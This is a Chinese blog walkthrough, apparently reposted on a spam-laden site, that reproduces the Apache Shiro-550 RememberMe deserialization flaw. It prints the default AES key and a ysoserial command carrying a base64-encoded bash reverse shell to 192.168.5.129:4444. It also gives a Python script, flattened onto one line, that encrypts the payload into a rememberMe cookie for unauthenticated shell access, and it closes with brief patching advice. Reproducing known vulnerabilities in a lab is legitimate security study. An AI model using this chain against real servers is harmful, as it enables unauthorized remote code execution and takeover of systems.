当前位置: 首页 > news >正文

比较好的h5网站代理网址在线

比较好的h5网站,代理网址在线,福田区住房和建设局网站,中国最新24小时军情新闻shiro Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序漏洞原理 在Apache shiro的框架中,执行身份验证时提供了…

shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

漏洞原理

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能RememberMe,如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

出现问题的点在AES加解密的过程中使用的密钥key。AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码。

在这里插入图片描述
在这里插入图片描述

登录时是否选择Remember Me都不影响漏洞的复现。
在这里插入图片描述
生成base64后的反弹shell。

在这里插入图片描述
使用 ysoserial-0.0.6-SNAPSHOT-all.jar工具进行序列化,直接调用对应的模块,添加上自己的payload即可,方便快捷。
在这里插入图片描述

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsCollections2  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMTI5LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > poc.ser

将序列化后的payload,放到python代码同一目录下,进行aes加密并进行base64转码。在这之前,首先我们要知道shiro的key值是什么,要不然G。当然,目前暴露的shiroKey值很多,可以自己写个脚本进行爆破。我使用的key值是shiro的默认值。
在这里插入图片描述

import sys
import uuid
import base64
from Crypto.Cipher import AESshiro_key = []def getKey(path):with open(path) as file:shiro_key.append(file.readlines())def encode_rememberme(shiro_key):f = open('poc.ser', 'rb')BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode(shiro_key)iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(f.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# path = "./shiroKey.txt"# getKey(path)shiro_key = 'kPH+bIxk5D2deZiIxcaaaA=='payload = encode_rememberme(shiro_key)print("rememberMe={0}".format(payload.decode()))

将生成的payload,复制到cookie的值处即可,其它的不要动。
下面这个图显示的是使用正确的账户登录显示的内容。
在这里插入图片描述
下面这个图显示的是使用非正确的账户登录显示的内容。
在这里插入图片描述
通过这两个图对比,可以发现,该漏洞不需要正确的账户,即可getshell。有一个前提条件就是需要shiro的key值。
在这里插入图片描述
发完包以后,直接getshell。

总结

shiro550漏洞,漏洞点就在于用户信息反序列化可利用,并且加密的key值给了一个固定的默认值的,导致很多开发人员直接使用,接着导致了洞的产生。

修复建议

1、及时升级shiro版本。(不要忘记升级前做备份。)
2、不再使用固定的密钥加密。

参考链接

shiro反序列化漏洞(CVE-2016-4437)漏洞复现:https://blog.csdn.net/HEAVEN569/article/details/125389987
Shiro-550 漏洞复现:https://blog.csdn.net/qq_46440393/article/details/123493079
shiro550漏洞复现与研究:https://www.163.com/dy/article/GCN65SL20511FSTO.html

http://www.yayakq.cn/news/784761/

相关文章:

  • 第三方平台网站的建设规划河南省住房和建设厅网站
  • 零售网站模板动漫设计与制作专业的应用领域
  • 哈尔滨的网站建设公司网站网页设计公司
  • 商城网站代理系统网站自动站建
  • 网站备案需要的资料重庆网页制作
  • 自己服务器做网站服务器备案银川做企业网站
  • 免费的源代码分享有哪些网站wordpress 商城主题
  • 有企业邮箱案例的网站网站建设与维护教学视频
  • 给网站做seo的必要性wordpress 权限插件
  • 漂亮的门户网站域名查询注册信息
  • 如何把做的网站变成链接网站开发人才培养目标
  • 网站入口门户丰台seo网站关键词优化
  • 中国黄金建设网站服务器租用泰海
  • 淘宝联盟做的好的网站安徽省建设厅网站证书查询
  • 做宠物网站还有前景嘛线上推广是什么意思
  • 网站建设 硬件设计网站如何融入非关系数据库
  • 杯子网站开发方案缩我短链接生成器
  • 网站三大标签优化页面设计模板简约
  • 美容美发网站建设方案怎么自己做网站免费的
  • 企业网站排行做网页的软件下载
  • 淄博网站优化价格自适应网站什么做
  • 华亚快印网站开发国内永久免费网游
  • 一个主机一个域名做网站做网站是数据库应该放在哪里
  • 有哪些教育网站做的比较好建设商城网站费用
  • 网站开发 实习报告万网可以花钱做网站
  • 个人网站备案技巧5188站长平台
  • 云南省城乡住房建设厅网站湖南住房城乡建设厅网站
  • 多个网站 备案吗哪个网站专门做二手电脑手机的
  • 动漫网站建站目的公共资源交易中心官网首页
  • 兰州百姓网免费发布信息网站湘潭网站建设 安全还踏实磐石网络